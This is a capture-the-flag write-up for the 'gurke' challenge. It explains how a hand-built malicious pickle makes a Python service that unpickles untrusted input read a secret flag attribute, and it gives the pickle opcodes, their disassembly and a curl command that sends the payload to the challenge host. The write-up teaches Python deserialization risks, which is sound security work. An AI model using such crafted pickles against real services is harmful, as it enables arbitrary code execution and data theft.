gurke (misc)
For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.
The service can be succinctly represented as follows:
class Flag(object): def __init__(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("172.17.0.1", 1234)) self.flag = s.recv(1024).strip() s.close() flag = Flag() ... data = os.read(0, 4096) try: res = pickle.loads(data) print 'res: %r\n' % res except Exception as e: print >>sys.stderr, "exception", repr(e)
In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag
attribute from the Flag
instance.
Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:
a = __main__.flag
return __builtin__.getattr(a, 'flag')
This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:
import pickletools exploit = """c__main__\nflag p100 0c__builtin__\ngetattr (g100 S'flag' tR.""" pickletools.dis(exploit) 0: c GLOBAL '__main__ flag' 15: p PUT 100 20: 0 POP 21: c GLOBAL '__builtin__ getattr' 42: ( MARK 43: g GET 100 48: S STRING 'flag' 56: t TUPLE (MARK at 42) 57: R REDUCE 58: . STOP
Note that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl
to our target:
$ curl -vv -X POST --data-binary @t.pickle http://136.243.194.43/ * About to connect() to 136.243.194.43 port 80 (#0) * Trying 136.243.194.43... connected * Connected to 136.243.194.43 (136.243.194.43) port 80 (#0) > POST / HTTP/1.1 > User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2 > Host: 136.243.194.43 > Accept: */* > Content-Length: 60 > Content-Type: application/x-www-form-urlencoded > < HTTP/1.1 200 OK < Content-Type: application/octet-stream * no chunk, no close, no size. Assume close to signal end < 1: res: '32c3_rooDahPaeR3JaibahYeigoong' retval: 0 * Closing connection #0
Further reading for Python pickles and security:
- Black Hat USA 2011 — “Sour Pickles – Shellcoding in Python’s serialization format” white paper
- Pentura Labs — Python cPickle: Allows For Arbitrary Code Execution